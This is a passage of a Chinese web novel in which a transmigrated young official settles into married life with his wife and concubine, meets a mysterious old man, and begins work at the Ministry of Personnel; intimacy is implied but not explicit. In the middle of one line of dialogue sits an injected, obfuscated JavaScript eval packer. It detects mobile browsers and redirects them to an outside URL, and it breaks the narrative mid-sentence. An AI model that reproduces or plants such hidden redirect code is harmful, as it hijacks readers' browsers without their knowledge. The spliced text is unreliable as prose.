肖晨看着眼前的光景,忽然觉得,那日跨马游街的荣光,朝堂论辩的锋芒,都不及此刻这满院的烟火气真切。他轻轻握紧两人的手,心里只有一个念头——往后的岁月,定要护着这份安稳,护着身边这两份暖意,直到白头。 李傲雪抽回手,笑道:“快进屋吧,雪梨该凉了。” 丁香也跟着点头,拉着肖晨往正屋走。灯笼的光晕在三人身后拉长,交织成一团,像极了他们此刻紧紧依偎的心。 瓷碗里的雪梨甜汤见了底,肖晨放下碗,看向坐在对面的丁香,语气里带着几分歉疚:“丁香,委屈你了。按律例,我终究没办法给你平妻的名分,只能委屈你做妾。” 他知道丁香的好,也疼惜她的过往,总觉得这份名分配不上她的情意,可世家规矩与朝廷礼法摆在那里,由不得他任性。 丁香却笑了,眼角的泪痣在灯下闪着柔和的光:“公子说的哪里话。”她轻轻拨着袖口的流苏,声音坦然,“我原是花船上的人,能遇上公子,能脱离苦海,已是天大的幸事。如今嫁进府里,有了名分,有了归宿,早就心满意足了。” 她顿了顿,抬眼看向肖晨,眼里满是真挚:“再说,名分不过是个称呼,心里的安稳才是真的。能日夜守着公子,我什么都不在乎。” 说着,她又转向坐在一旁的李傲雪,郑重地低下头:“在我心里,正室永远是少夫人。您是公子明媒正娶的妻,是这肖府的主母,丁香永远敬您。” 李傲雪连忙伸手拉住她,掌心温温的:“丁香,别这么说。”她看着丁香,又看看肖晨,认真道,“在我心里,从来没有什么正室妾室的分别。你我都是陪着少爷的人,都是这家里的一份子,该是好姐妹才对。” 她拿起桌上的茶壶,给两人各添了些茶水,语气恳切:“我们嫁的是同一个人,心里念的也是同一份安稳。往后日子还长,哪分什么大小?我们都好好爱着少爷,好好把这日子过好,比什么都强。” 丁香望着李傲雪温和的眉眼,眼眶忽然有些发热。她原以为正室夫人总会端着架子,却没料到李傲雪这样真心待她,没有半分轻视,只有全然的接纳。 “少夫人……”她哽咽着,说不出话,只能重重点头。 肖晨看着眼前这一幕,心里又暖又酸。他伸手握住两人的手,一个在左,一个在右,掌心的温度熨帖着彼此的心。 “有你们,真好。”他轻声说。 李傲雪笑着抽回手:“夜深了,早些安置吧。明日少爷还要去吏部当值呢。” 丁香也跟着起身,帮着收拾碗筷。肖晨看着她们并肩走进内室的背影,一个温婉从容,一个灵动贴心,忽然觉得,所谓圆满,大抵就是这样了——不必事事尽如人意,却有人懂你难处,惜你情意,愿意与你一同把日子过成暖的。 他站起身,快步跟了上去。廊下的灯笼还亮着,将三人的影子叠在一起,在青砖地上铺成一片温柔的光。 丁香说到,公子和少夫人好好休息,明,明晚上公子再去我那里。丁香红着脸说完,拎着裙摆快步回了自己的小院,廊下的灯笼将她的影子拉得弯弯的,像藏着少女的心事。 正屋里霎时静了下来,只剩下肖晨和李傲雪两人。烛火在铜台里轻轻摇曳,映得四壁的书画都添了层暖意。 李傲雪端起茶盏抿了口,放下时指尖轻轻叩了叩桌面,抬眼看向肖晨:“少爷,如今你有了功名,王家的事也了了,总算没那么多烦心事了。” 肖晨点头,松了松腰带:“是啊,一切都好了。”他以为李傲雪是想跟他说些家常,刚要开口问起府里的账目,却见她站起身,走到自己面前,轻轻环住了他的腰。 她的脸颊贴在他的背上,温热的呼吸透过衣料渗进来,带着淡淡的皂角香。肖晨浑身一僵,手里的茶盏险些没拿稳。 “傲雪,你、你这是干什么?”他有些慌乱,声音都变了调。 李傲雪却没松手,反而抱得更紧了些,下巴抵着他的肩窝,声音带着点闷意,却异常清晰:“少爷忘了?我们是夫妻啊。” 她慢慢绕到他身前,仰头望着他,烛光映在她眼里,像落了星星:“成婚一年,你不是在书房苦读,就是忙着赶考、应付朝堂事,我们……好像还没好好做过一日真正的夫妻。” 肖晨看着她泛红的眼角,心里忽然一软。是啊,这一年来,他亏欠她太多了。他放下茶盏,伸手扶住她的肩,声音放柔了些:“是我不好,忽略了你。” 李傲雪摇摇头,踮起脚尖,轻轻吻了吻他的唇角,像一片羽毛落下,带着试探,也带着藏了许久的情意:“现在不晚啊。” 她的手指轻轻抚过他的衣襟,动作有些生涩,却带着不容错辨的温柔:“少爷,今夜……陪陪我,好不好?” 烛火“噼啪”响了一声,将两人的影子投在墙上,紧紧依偎在一起。肖晨看着眼前的女子,那个在他失意时劝他莫灰心、在他忙碌时默默打理好一切的女子,此刻眼里的情意像潮水般将他淹没。 他伸手将她揽入怀中,下巴抵着她的发顶,声音低沉而坚定:“好,今夜只陪你。” 李傲雪的指尖轻轻划过肖晨的下颌,那里的线条比去年硬朗了些,却仍带着少年人的清俊。她忽然低笑一声,声音里裹着几分羞赧的试探:“少爷明年就成年了,身量抽高了不少,眉眼也长开了,比过去好看多了。” 她顿了顿,指尖微微收紧,语气里藏了丝不易察觉的惶惑:“只是我……已经二十一岁了。女子的年华金贵,我总怕……你会不会嫌我老了?” 肖晨握住她的手,掌心的温度熨帖着她的不安:“说什么傻话。你在我眼里,从来都是年轻的。”他想起初见时她站在廊下看书的样子,素色衣裙,眉眼温婉,这一年的时光仿佛格外厚待她,只添了从容,未减半分清丽。 “可人家都说,女子最好的年纪是十五六岁……”李傲雪垂下眼睫,声音轻得像叹息。 “那些话当不得真。”肖晨抬起她的下巴,认真地看着她的眼睛,“在我心里,你这样正好。经历过风雨,懂进退,知冷暖,这才是最好的你。别多想。” 李傲雪看着他澄澈的眼神,忽然笑了,眼里的愁绪一扫而空。她主动凑上前,吻住了他的唇。不同于方才的轻浅试探,这一吻带着压抑了许久的热切,像藤蔓般缠了上来。 肖晨被她突如其来的热情惊得一怔,浑身的血液仿佛都往头顶涌。这样的李傲雪,端庄里藏着烈火,温柔中带着霸道,让他一时忘了反应,只能任由她带着自己沉沦。 烛火燃了半宿,又悄悄灭了。 窗外的天色泛起鱼肚白时,李傲雪早已累得动不了,发丝贴在汗湿的额角,脸颊泛着潮红。她却仍紧紧抱着肖晨,手臂像藤蔓般缠着他的腰,半点不肯松开。 肖晨被她箍得有些喘不过气,却不敢动,只能任由她抱着。想起昨夜她的主动与热烈,他的耳根又开始发烫,连指尖都带着点麻。 李傲雪迷迷糊糊睁开眼,见他低着头,耳廓红得像要滴血,忍不住低笑出声,声音带着刚睡醒的沙哑:“少爷真是害羞。” 她抬手,指尖轻轻戳了戳他的脸颊,眼里满是满足的笑意:“可我就是喜欢你这样。干干净净的,像块没被染过的玉。” 肖晨被她说得更窘,偏过头不敢看她,声音细若蚊蚋:“别、别取笑我了。” 李傲雪却收紧手臂,将脸埋进他的颈窝,呼吸温热:“不取笑你。”她顿了顿,声音软得像棉花,“往后,我们都这样好不好?像寻常夫妻一样,有说有笑,有吵有闹,还有……这样抱着睡。” 肖晨的心跳漏了一拍,轻轻“嗯”了一声。晨光透过窗纸照进来,落在两人交缠的手上,暖融融的。 肖晨闭上眼被李傲雪缠得浑身不自在,心里头却像揣了只乱撞的兔子,慌得没了章法。 他暗自苦笑——谁能想到,他这副男儿身里,裹着的原是个现代姑娘的魂。过去二十多年的认知里,情爱之事本该是水到渠成,讲究个循序渐进,哪见过这般直接热烈的阵仗? 昨夜李傲雪的主动,此刻手臂的紧缠,都让他头皮发麻。不是不喜欢,只是那股子跨越了性别与时空的别扭劲儿总在作祟。他习惯了温和有礼的相处,习惯了隔着一层含蓄的分寸,突然被这样滚烫的情意包裹,只觉得手脚都没了安放处。 “若是能慢些就好了……”他在心里悄悄念叨,目光落在李傲雪熟睡的侧脸,她睫毛长而密,唇角还带着浅浅的笑意,显然是满足的。 他轻轻叹了口气,抬手替她掖了掖被角。罢了,她是真心待他,这点滚烫的热情,纵是招架不住,也是甜美的负担。 只是下次……下次定要找个由头,让她慢些才好。他红着脸想,耳根又烧了起来。 天光透过窗纱漫进来时,李傲雪先醒了。 她动了动身子,只觉得浑身骨头像散了架,腰肢更是酸得厉害,稍一抬手都发颤。肖晨还在熟睡,侧脸埋在枕间,长睫垂着,呼吸均匀,看着竟有几分稚气。 李傲雪嗔怪地瞪了他一眼,声音里带着点发软的埋怨:“都是你,把我折腾成这样,偏还得我主动……” 话虽如此,嘴角却忍不住微微上扬。她伸出指尖,轻轻划过他挺直的鼻梁,心里头哪有半分真的怪罪?只暗暗想着:若是他能主动些,热情些,哪怕只是多些回应,自己怕是要醉在他眼里了。 可转念一想,又觉得现在这样也极好。他干净,纯粹,连害羞时耳根发红的样子都透着憨直。不像那些浮浪子弟,嘴里说着甜言蜜语,心里却藏着算计。 她的少爷,是凭着真才实学挣来的功名,是会把“委屈你了”挂在嘴边疼惜丁香的人,是在她主动时会手足无措、却在事后悄悄替她掖被角的人。 这样的好,是旁人比不了的。 李傲雪轻轻叹了口气,眼底漫上温柔的笑意。她小心翼翼地挪了挪身子,尽量不吵醒他,然后侧躺着,就那么静静地看着他的睡颜。阳光落在他发梢,镀上一层浅金,连带着她心里也暖融融的。 “我的少爷,可真好啊。”她在心里悄悄说,嘴角的笑意更深了些。 窗外传来丫鬟扫地的轻响,远处隐约有卖花人的吆喝声,新的一天开始了。李傲雪却不想动,只想就这样守着他,守着这片刻的安宁,直到他醒来。 肖晨醒来时,见李傲雪还赖在被窝里,眼尾带着昨夜的潮红,正一瞬不瞬地望着他。他被看得有些不自在,伸手揉了揉她的头发:“快起来洗漱吧,时辰不早了。” 李傲雪却往他怀里缩了缩,手臂又缠了上来:“少爷再陪我躺一会儿。” “不行,”肖晨无奈地拍了拍她的手背,“我还得去吏部当值,第一天报到总不能迟了。” 李傲雪眼珠转了转,忽然笑了,眼里闪着狡黠的光:“要起来也成,得亲我一下。” 肖晨脸一红,往窗外瞥了眼:“这大早上的,像什么样子。” “我不管。”李傲雪哪肯依他,撑着酸软的身子凑上前,不由分说就吻了上去。这次的吻不像昨夜那般灼热,却带着点耍赖的缠绵,辗转厮磨,直到肖晨喘不过气来,她才微微松开些,鼻尖抵着他的鼻尖,眼底满是笑意。 “记住了,”她轻咬着他的下唇,声音带着点威胁,又藏着点撒娇,“下次再这么不主动,我可就没这么轻易放过你了。” 肖晨的耳根红得快要滴血,偏过头不敢看她,声音都带着点抖:“知、知道了。” 见他这副模样,李傲雪笑得更欢了,终于肯松开手:“好啦,不逗你了,快起吧。我让厨房给你备了爱吃的糖包。” 肖晨这才松了口气,匆匆起身穿衣。铜镜里映出他泛红的脸颊,想起方才那个吻,心跳又不争气地快了几拍。他回头看了眼还赖在被窝里的李傲雪,她正支着下巴笑盈盈地望着他,阳光落在她脸上,温柔得像幅画。 他轻咳一声,加快了穿衣的动作,心里却悄悄想着:下次……下次或许可以……稍微主动那么一点点? 这个念头刚冒出来,就被他按了下去,脸颊却烫得更厉害了。 肖晨刚咽下最后一口糖包,管家便来报马已备妥。他整了整官袍,对李傲雪和丁香叮嘱了两句“府里事多辛苦你们”,便带着随从往吏部去了。 吏部衙门前的石狮子透着威严,他刚递上名帖,还没等门房通报,就见一个小厮匆匆跑来,在他耳边低语:“肖大人,门外来了位白发老者,说务必见您一面,自称是您的故人。” 肖晨微怔,他初入官场,除了科考时相识的几位同年,并无深交的老者,更别提“故人”。他以为是哪个案子牵扯出的乡邻旧识,便暂搁下报到的事,转身往外走。 刚到门口,就见石阶下站着个穿青布长衫的老者,头发白得像落了场雪,背却挺得笔直,手里拄着根竹杖,正笑眯眯地望着他。 四目相对的瞬间,肖晨浑身一震,手里的官帽差点没拿稳——这张脸,分明就是他穿越前反复出现在梦里的老者!那个在他穿越时,告诉他“魂魄可借躯壳续生,需守本心方能安身”的老人! 老者见他惊愕的模样,捋了捋花白的胡须,率先开口,声音清朗如古玉相击:“肖公子,别来无恙?” 肖晨定了定神,挥手屏退左右,快步走下石阶,声音里带着难掩的激动与疑惑:“老丈……是您?”他至今记得梦里那番话,正是靠着那点模糊的指引,他才在这个陌生的时空慢慢站稳脚跟。 “正是老朽。”老者笑意更深,“当年公子魂归之际,老朽多言了几句,没成想公子果然不负所托,在这世间活出了模样。” 肖晨心头巨震,梦里的情景与现实重叠,那些关于穿越的困惑、关于如何来到这里的疑问,像潮水般涌上来。他张了张嘴,千言万语堵在喉头,最终只化作一句:“老丈……您究竟是谁?为何会……” 老者摆了摆手,示意他不必多问:“老朽是谁不重要。今日来,一是看看公子近况,二是想告诉你,世间万物皆有定数,却也存变数。你既借了这具躯壳,守好肩上的担子,护好身边的人,便是最好的归处。” 他顿了顿,目光落在肖晨的官袍上,眼神深邃:“官场路险,莫忘来时心。” 说完,不等肖晨再问,老者转身便走,青布长衫在风里轻轻摆动,几步就融入了街角的人流,竟像从未出现过一般。 肖晨站在原地,手里还攥着官帽,掌心已沁出薄汗。方才老者的话,像块石头投入心湖,荡开层层涟漪。他忽然明白,无论穿越的缘由是什么,此刻的肖晨,早已不是那个茫然无措的异世魂,而是这具躯壳的主人,是李傲雪和丁香的依靠,是身负职责的朝廷命官。 他深吸一口气,整了整衣襟,转身迈进吏部大门。阳光落在他挺直的背影上,前路纵有迷雾,他亦要步步踏稳——因为这世间,已有了他必须守护的东西。 老者离开吏部街角,身影一晃便没了踪迹,再出现时,已站在肖府门前。门房啊成见他气度不凡,虽面生,却不敢怠慢,忙不迭地往里通报:“少夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140774|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,门外有位老先生求见,说是有要事相告。” 李傲雪正在廊下教丁香辨认草药图谱,闻言放下书卷,略一思忖,跟着啊成走到门首。见是位白发老者,青衫洗得发白,却干干净净,手里那根竹杖瞧着倒有几分年头。 “老人家,您找我?”李傲雪福了福身,声音温和。 老者抬眼打量她,目光里带着几分了然的笑意,慢悠悠开口:“姑娘如今过得这般安稳幸福,可真是好福气。” 李傲雪微怔,不知这老者为何突然说这个,只浅笑道:“老人家过奖了,不过是寻常日子罢了。” “寻常日子里的福气,才最是难得。”老者话锋一转,忽然道,“肖公子给你画的那幅肖像,如今还挂在你们房里吧?” 这话一出,李傲雪心头猛地一跳。那幅画是肖晨去年画的,她伏案看书的模样,他说瞧着顺眼,便裱了挂在床头,除了府里亲近的人,外人极少知晓。 “老人家是怎么知道的?”她蹙眉问道,语气里添了几分警惕。 老者却没解释,只拄着竹杖,定定看着她,眼神深邃如潭:“你不必问我是谁。只需记着,只要他心里一直装着你,念着你,那幅画便会一直有效果。” 他顿了顿,声音轻得像风拂过竹叶:“有你,才有他。莫要忘了这句话。” 李傲雪听得云里雾里,刚想再问,老者已转身往外走,步履看似缓慢,转瞬就消失在巷口,仿佛从未出现过。 啊成挠着头凑过来:“少夫人,这老先生说的啥呀?神神叨叨的。” 李傲雪没应声,心里反复琢磨着那句“有你才有他”。她转身往内院走,路过卧房时,下意识抬头望了眼墙上的肖像——画里的自己眉眼温和,烛火在鬓边跳跃,正是肖晨常说的“瞧着心里踏实”的模样。 她伸手轻轻抚过画框,指尖微凉。不管老者是谁,这番话里的暖意却是真的。她回头望向窗外,肖晨此刻该在吏部当值了吧? “我自然信他。”她轻声对自己说,嘴角慢慢扬起笑意。只要他们守着彼此,日子总会越来越好的,不是吗? 廊下的风带着桂花香飘过,卷起书页的一角,像在应和她的心思。 暮色浸满庭院时,肖晨终于回来了。刚跨进二门,就见李傲雪和丁香并肩站在阶前等他,廊灯的光落在两人脸上,暖融融的。 “公子回来了。”丁香先迎上来,接过他手里的官印匣子,“厨房温着汤呢,刚端上来正好喝。” 李傲雪也走上前,替他解下搭在肩上的披风:“今日在吏部还顺利吗?” 三人围坐在饭桌旁,热汤暖菜驱散了一身疲惫。席间肖晨说起吏部的趣事,李傲雪和丁香听得认真,偶尔插句话,笑声顺着窗缝飘出去,惊飞了檐下栖息的鸽子。 饭后,丁香收拾着碗筷,笑着说:“我去把里间拾掇拾掇,公子和少夫人早些歇息。”说罢便带着丫鬟退了出去,屋子里只剩下肖晨和李傲雪。 李傲雪端过一杯热茶递给他,犹豫了片刻,还是把白日里的事说了出来:“今日有位白发老者来府里,说……说你给我画的那幅肖像,只要你心里一直有我,就会有效果。还说‘有我才有你’,我瞧着他不像寻常人,倒有些奇怪。” 肖晨握着茶杯的手微微一紧,心瞬间提了起来。那老者竟连画像的事都知道,还特意去跟傲雪说这些……他飞快地转着念头,绝不能让她察觉自己来自异世的秘密,那太匪夷所思,只会让她不安。 他放下茶杯,伸手握住李傲雪的手,指尖带着温热的暖意:“别管那老者是谁,他的话倒有几分道理。” 他望着她,眼神坦诚而温柔:“那幅画我每日瞧着都欢喜,可画哪有真人好?你的人,你的笑,你灯下替我缝补的样子,才是我心里最踏实的东西。” 他顿了顿,声音放得更柔:“我自然是离不开你的。这府里的日子,少了你,便什么滋味都没了。” 李傲雪被他说得耳尖发红,却忍不住追问:“那画……” “画自然要挂着。”肖晨打断她,语气带着不容置疑的笃定,“挂在我们房里,日日看着,就像看着我们从初见走到现在的样子。只要你愿意,它便一直挂着,陪着我们。” 他刻意避开了老者话里的深意,只拣着最实在的情意说。李傲雪看着他眼底的认真,心里那点疑虑渐渐散了,取而代之的是满满的暖意。她反手握紧他的手,轻轻“嗯”了一声。 窗外的月光爬上窗台,照着墙上那幅肖像。画里的人眉眼弯弯,画外的人手牵着手,仿佛真应了老者那句话——彼此的存在,本就是对方最安稳的归宿。 肖晨看着李傲雪温柔的侧脸,暗暗松了口气。不管那老者目的是什么,只要能护着身边的人,守住这份安稳,他什么都愿意担着。 李傲雪看着肖晨眼里的温柔,忽然轻轻抽回手,指尖在他手背上点了点:“少爷,今夜该去陪丁香了。” 这些日子总缠着他,她心里清楚,丁香虽不说,却也盼着能多些相处的时光。都是同心思的人,哪能厚此薄彼。 肖晨一怔,随即明白了她的意思,心里暖融融的。他倾身靠近,在她额头印下一个轻吻,声音低柔:“那你早些歇息,别熬太晚。” 李傲雪笑着点头,目送他转身走出房门。廊下的灯笼将他的影子拉得很长,直到拐过月亮门才消失。她抬手抚上额头,那里仿佛还留着他的温度,嘴角忍不住弯了弯。 肖晨走到丁香的小院时,见窗纸上映着她的身影,正坐在妆台前轻轻梳理长发。他推门进去,带着一身夜露的清寒。 “公子。”丁香回过头,眼里瞬间亮起光,连忙起身迎上来,手里还攥着木梳,“我还以为你要歇下了呢。” 她身上穿着月白色的寝衣,长发松松挽着,鬓边簪着朵小巧的玉兰花,正是他前日给她寻来的。 “傲雪让我来的。”肖晨看着她微红的脸颊,声音放柔了些,“等很久了?” “没有。”丁香摇摇头,接过他的外袍挂在衣架上,“刚洗漱好,想着公子或许会来……” 她说着,指尖有些发烫,垂下眼睫不敢看他。烛火在她眼底跳动,映出几分羞涩的期待。 肖晨在桌边坐下,看着她为自己倒茶的身影,忽然觉得这后院的月色格外温柔。他伸手握住她递茶的手,她的指尖微凉,却在被他握住时轻轻颤了颤。 “往后,我会常来。”他轻声说。 丁香猛地抬头,眼里的惊喜藏不住,像落了满眶的星星。她用力点头,声音细若蚊蚋:“嗯。” 丁香的指尖带着点微颤,轻轻抚上肖晨的衣襟。她的动作生涩却认真,解开第一颗盘扣时,耳尖已红得像熟透的樱桃。 肖晨低头看着她,烛光映在她眼里,像盛着两汪浅浅的湖。他忽然伸手将她揽入怀中,她惊呼一声,手里的腰带落在地上。他抱着她往床榻走去,锦被上绣着的缠枝莲在烛火下轻轻晃动。 未等丁香站稳,他忽然低下头,吻住了她的唇。 这个吻不同于往日的克制,带着点笨拙的主动,像带着暖意的潮水,慢慢漫过心岸。丁香起初还有些发怔,随即轻轻闭上眼,抬手环住他的颈,睫毛在他脸颊上轻轻颤动。 烛火渐渐昏沉,帐幔垂下,将满室的月光与烛影都隔在外头。 不知过了多久,帐内的喘息才渐渐平息。丁香累得浑身发软,蜷缩在肖晨怀里,脸颊贴着他的胸膛,听着他有力的心跳,像听着最安稳的鼓点。 肖晨轻轻抚摸着她散在枕上的长发,指尖划过她汗湿的额角。方才她眼底的羞怯与信赖,像羽毛般轻轻搔着他的心尖。他忽然想起初遇时,她在花船上的模样,再看此刻依偎在怀里的人,只觉得时光待他们不薄。 “公子……”丁香的声音带着刚睡醒的沙哑,像小猫似的蹭了蹭他的衣襟。 “睡吧。”肖晨低头,在她发顶印下一个轻吻,“天亮还早。” 她“嗯”了一声,往他怀里缩得更紧了些,很快便呼吸均匀地睡了过去。肖晨望着帐顶的流苏,鼻尖萦绕着她发间的皂角香,心里一片柔软。 窗外的月光悄悄移过窗棂,落在两人交缠的手上。这一夜,没有太多言语,却有比言语更缠绵的情意,在寂静的夜里慢慢发酵,酿出满室的温柔。 66.每个女孩子都值得尊重 天刚蒙蒙亮,肖晨便醒了。身侧的丁香还睡得沉,睫毛上似乎还挂着昨夜的水汽,嘴角微微翘着,像是梦到了什么好事。他放轻动作起身,替她掖好滑落的锦被,指尖不经意触到她温热的脸颊,心里软得像浸了蜜。 洗漱完毕,他往饭厅去,远远就见李傲雪坐在桌边,正低头看着账本,晨光透过窗纸落在她发间,镀上一层柔和的金边。 “少爷醒了?”李傲雪抬头,放下账本,眉眼弯弯地笑,“刚让厨房把粥温了,正想派人去看看你起了没。” 肖晨在她对面坐下,拿起筷子:“早。” “丁香妹妹怎么没来?”李傲雪往门口望了望,随口问道。 肖晨夹菜的手顿了顿,耳尖微微发烫,含糊道:“让她多睡会儿,昨夜……累着了。” 李傲雪何等通透,立刻明白了过来,眼底闪过一丝促狭的笑意,却没再追问,只往他碗里夹了个糖包:“快吃吧,今日是你第一次随朝听政,可不能迟了。” “嗯。”肖晨松了口气,低头专心喝粥。米粥熬得软糯,混着淡淡的桂花香气,是他惯常喜欢的味道。 李傲雪看着他埋头吃饭的样子,嘴角的笑意收不住。这才是寻常人家的日子,有烟火气,有彼此牵挂,哪怕是这样细碎的对话,也透着说不出的安稳。 “对了,”她忽然想起一事,“昨日让管家备的参茶已经装在食盒里了,你带在身上,朝堂议事久了,喝口暖身子。” “好。”肖晨应着,心里暖烘烘的。 两人安静地吃着早饭,偶尔说两句府里的琐事,晨光在桌面上慢慢移动,将碗筷的影子拉得很长。窗外传来丫鬟洒扫的声音,远处隐约有鸡鸣,一切都平和得恰到好处。 吃过饭,肖晨起身告辞,李傲雪送到门口,替他理了理官袍的衣襟:“凡事谨慎些,莫要失了分寸。” “我晓得。”肖晨点头,看了眼她鬓边新簪的玉簪,“这簪子好看。” 李傲雪愣了愣,随即笑道:“是你前几日让人送来的那块料子,我让匠人改的。” 肖晨心里一动,正想说些什么,管家已牵着马在门外候着了。他只好作罢,道了声“走了”,转身大步离去。 李傲雪站在阶前,看着他的身影消失在巷口,才转身往回走。路过丁香的小院时,她脚步慢了些,见窗门紧闭,便知人还没醒,便吩咐丫鬟:“等会儿丁香姑娘醒了,让厨房把早饭热着给她端过去,别让她吃凉的。” “是,少夫人。” 阳光渐渐爬高,照得整个肖府都亮堂堂的。李傲雪望着庭院里新开的秋菊,轻轻吁了口气。日子就该这样,一步一步,稳稳当当,带着盼头,慢慢往前过。 紫宸殿的金砖在晨光下泛着冷冽的光,肖晨跟着众臣按品级站定,袍角扫过地面,几乎听不到声响。殿内鸦雀无声,只有香炉里的檀香袅袅升起,缠绕着梁柱间的盘龙雕刻。 “传新科进士上殿——” 随着太监尖细的唱喏,肖晨与另外两人一同出列,跪拜于地。他垂着眼帘,能看到身前两人的朝靴,一双绣着云纹,是探花郎周庭砚;另一双缀着暗绣,是榜眼苏文谦。 “肖晨,”龙椅上传来威严的声音,带着不容置疑的厚重,“你于殿试中论及吏治革新,言辞恳切,见解独到。今授你吏部主事,正六品,即刻赴任,协理文选清吏司事务。” “臣,谢陛下隆恩!”肖晨叩首,额头触到冰凉的金砖,声音稳而有力。 “周庭砚,”皇上又道,“你诗文清丽,颇有古风,着入翰林院任编修,从六品,掌修国史。” “臣谢陛下!”周庭砚的声音带着少年人的清亮。 “苏文谦,”最后是榜眼,“你精通典章,着为翰林院编纂,正七品,协助编修校订典籍。” “臣谢陛下!”苏文谦的声音沉稳,与他平日沉静的性子相符。 三人再拜起身时,已有内侍捧着印绶上前。肖晨接过那方刻着“吏部主事”的铜印,入手微沉,仿佛握住的不只是一块印章,更是沉甸甸的责任。他想起昨日老者的话“官场路险,莫忘来时心”,又想起李傲雪和丁香在府中等待的身影,掌心不由握紧了些。 授封仪式毕,众臣按序退出。肖晨走在殿外的白玉阶上,晨光刺得他微微眯眼。周庭砚追上来,拍了拍他的肩:“肖兄,往后在吏部可要多照拂一二。” 苏文谦也含笑点头:“改日定要登门拜访,讨教一二。” “不敢当,”肖晨拱手,“都是为朝廷效力,理应互相扶持。” 三人在宫门口作别,肖晨望着他们走向翰林院的方向,转身往吏部而去。官袍的下摆被风掀起,他却走得愈发沉稳。从异世魂到当朝官,从肖府到朝堂,这条路他走了两年,往后的路还长,但他知道,自己要去哪里,要守护什么。 那方铜印在袖中微微发烫,像一颗跳动的初心,提醒着他莫负光阴,莫负身边人。 吏部文选清吏司的公房里,书卷的油墨香混着淡淡的茶气,几位同僚正低头处理案牍,见肖晨进来,都抬眼客气地颔首。 肖晨捧着刚领的卷宗,先走到司郎张大人案前,拱手笑道:“张大人,下官肖晨,今日初来报到,往后还请您多指点。” 张大人是个面容和善的中年官员,放下朱笔起身:“肖主事不必多礼,你的才名早有耳闻,往后同僚一场,互相帮衬是应当的。” 肖晨又依次给其他几位主事、笔帖式作了揖:“各位大人,肖晨初来乍到,很多规矩还不懂,往后免不了麻烦诸位,还请多关照。” 众人见他虽是新科状元,却毫无傲气,说话谦和,脸上都露出笑意,纷纷客气回应。 寒暄过后,肖晨回到自己的案前翻看卷宗,见多是些官员调任的文书登记,眼下并无急务。他心里清楚,官场之中,人情往来与公务能力同样重要,尤其是在吏部这等掌管官员升迁的地方,更需打好关系。 他合起卷宗,对众人朗声道:“各位大人,今日是下官第一天到任,蒙各位照拂,心里实在过意不去。” 众人抬头看他,眼里带着几分好奇。 肖晨笑了笑,语气诚恳:“我知道西城新开了家‘凤鸣楼’,戏班是从江南请来的名角,听说唱得极好。今日下值后,若各位大人有空,不如赏脸同去听段戏,喝几杯薄酒?一应开销,都算我的,就当是下官给各位接风,也请各位给我这个新人接接风。” 这话一出,公房里的气氛顿时活络起来。 张大人先笑了:“肖主事倒是会选地方,那凤鸣楼我也听说了,一直没来得及去。既然你有这份心,那我就却之不恭了。” “肖主事客气了,理应我们这些老人请你才是。”另一位姓李的主事也接口道,“不过你这提议甚好,正好借此机会热闹热闹,我也去。” 其他人也纷纷应和,原本略显生疏的气氛瞬间变得热络。 肖晨见众人应下,心里松了口气,拱手道:“那便多谢各位大人赏脸,下值后我们在衙门口汇合?” “好!” 敲定了这事,公房里的谈论声也多了起来,有人说起凤鸣楼的戏目,有人聊起近日的趣闻,肖晨偶尔插几句话,很快便融入其中。 他看着眼前这一幕,暗自思忖:不管前路如何,先把眼下的日子过好,把身边的关系处好,才能更稳妥地走下去。 窗外的阳光透过窗棂照进来,落在摊开的卷宗上,字里行间仿佛都染上了几分暖意。 下值的梆子声刚响过,肖晨便跟着张大人一行人往凤鸣楼去。秋阳斜斜地挂在檐角,将官袍的影子拉得老长,一路说说笑笑,倒消弭了不少朝堂上的拘谨。 凤鸣楼刚开月余,雕梁画栋间还带着新漆的光亮。跑堂的见来了几位官爷,忙引着上了二楼雅间,临窗的位置正对着戏台,视野敞亮。 “肖主事年纪轻轻,行事倒比寻常少年周全得多。”张大人呷了口茶,看向肖晨的目光带着赞许,“前日我家小子还念叨着,说殿试时肖兄的策论让他茅塞顿开呢。” 肖晨忙摆手:“张大人过誉了,晚辈不过是侥幸罢了。” 正说着,戏班开场的锣鼓响了,水袖翻飞间,唱的是一出《西厢记》。莺莺的唱腔婉转,张生的扮相俊朗,雅间里顿时静了下来,只剩戏文里的悲欢在空气里流淌。 李主事看得入神,忽然笑道:“这戏里说的是才子佳人,咱们肖主事家里,可不就有两位佳人等着?” 这话一出,众人都笑起来。肖晨脸上发烫,却也不恼,只笑道:“家里二位贤内助,倒是比戏文里的更贴心些。” 他这话半是玩笑,半是真心。李傲雪的沉稳持家,丁香的温柔体贴,确是他在这异世最安稳的依靠。 张大人闻言,点了点头:“能得内人相助,是福气。官场浮沉,家里的安稳比什么都重要。”他像是想起了什么,语气沉了沉,“往后在部里做事,记住‘稳’字为先,莫要急着出头,也别藏着掖着,该担的担子得担起来。” 这话里的提点,比方才的寒暄实在得多。肖晨连忙起身,拱手道:“多谢张大人教诲,晚辈记下了。” 酒过三巡,气氛愈发热络。有人说起吏部的陈年趣事,有人聊起各地风土,肖晨静静听着,偶尔插言,把住分寸,既不显得木讷,也不过分张扬。他知道,这些看似寻常的闲谈里,藏着官场的门道,多听多记,总没错的。 戏散时已近黄昏,众人拱手作别。张大人拍了拍肖晨的肩:“明日卯时别忘了去库房核校文书,那批调任名册得赶在月底前报上去。” “是,下官记下了。” 送走众人,肖晨站在凤鸣楼外,晚风带着凉意吹过来,酒意醒了大半。他望着街上来来往往的行人,心里清明了不少。今日这顿饭,不仅是联络人情,更让他摸到了些吏部的脉络——张大人看似温和,实则对司里事务了如指掌;李主事爱开玩笑,却最是消息灵通。 往后的日子,怕是要在这些卷宗与往来里,慢慢磨了。 他转身往肖府走,暮色里,远远就看到府门前亮着的灯笼,像两团温暖的星子。走近了,果然见李傲雪和丁香正站在阶前等他,身影被灯光拢在一片暖意里。 “回来了?”李傲雪迎上来,递过一件披风,“看你脸上带着酒气,厨房备了解酒汤。” 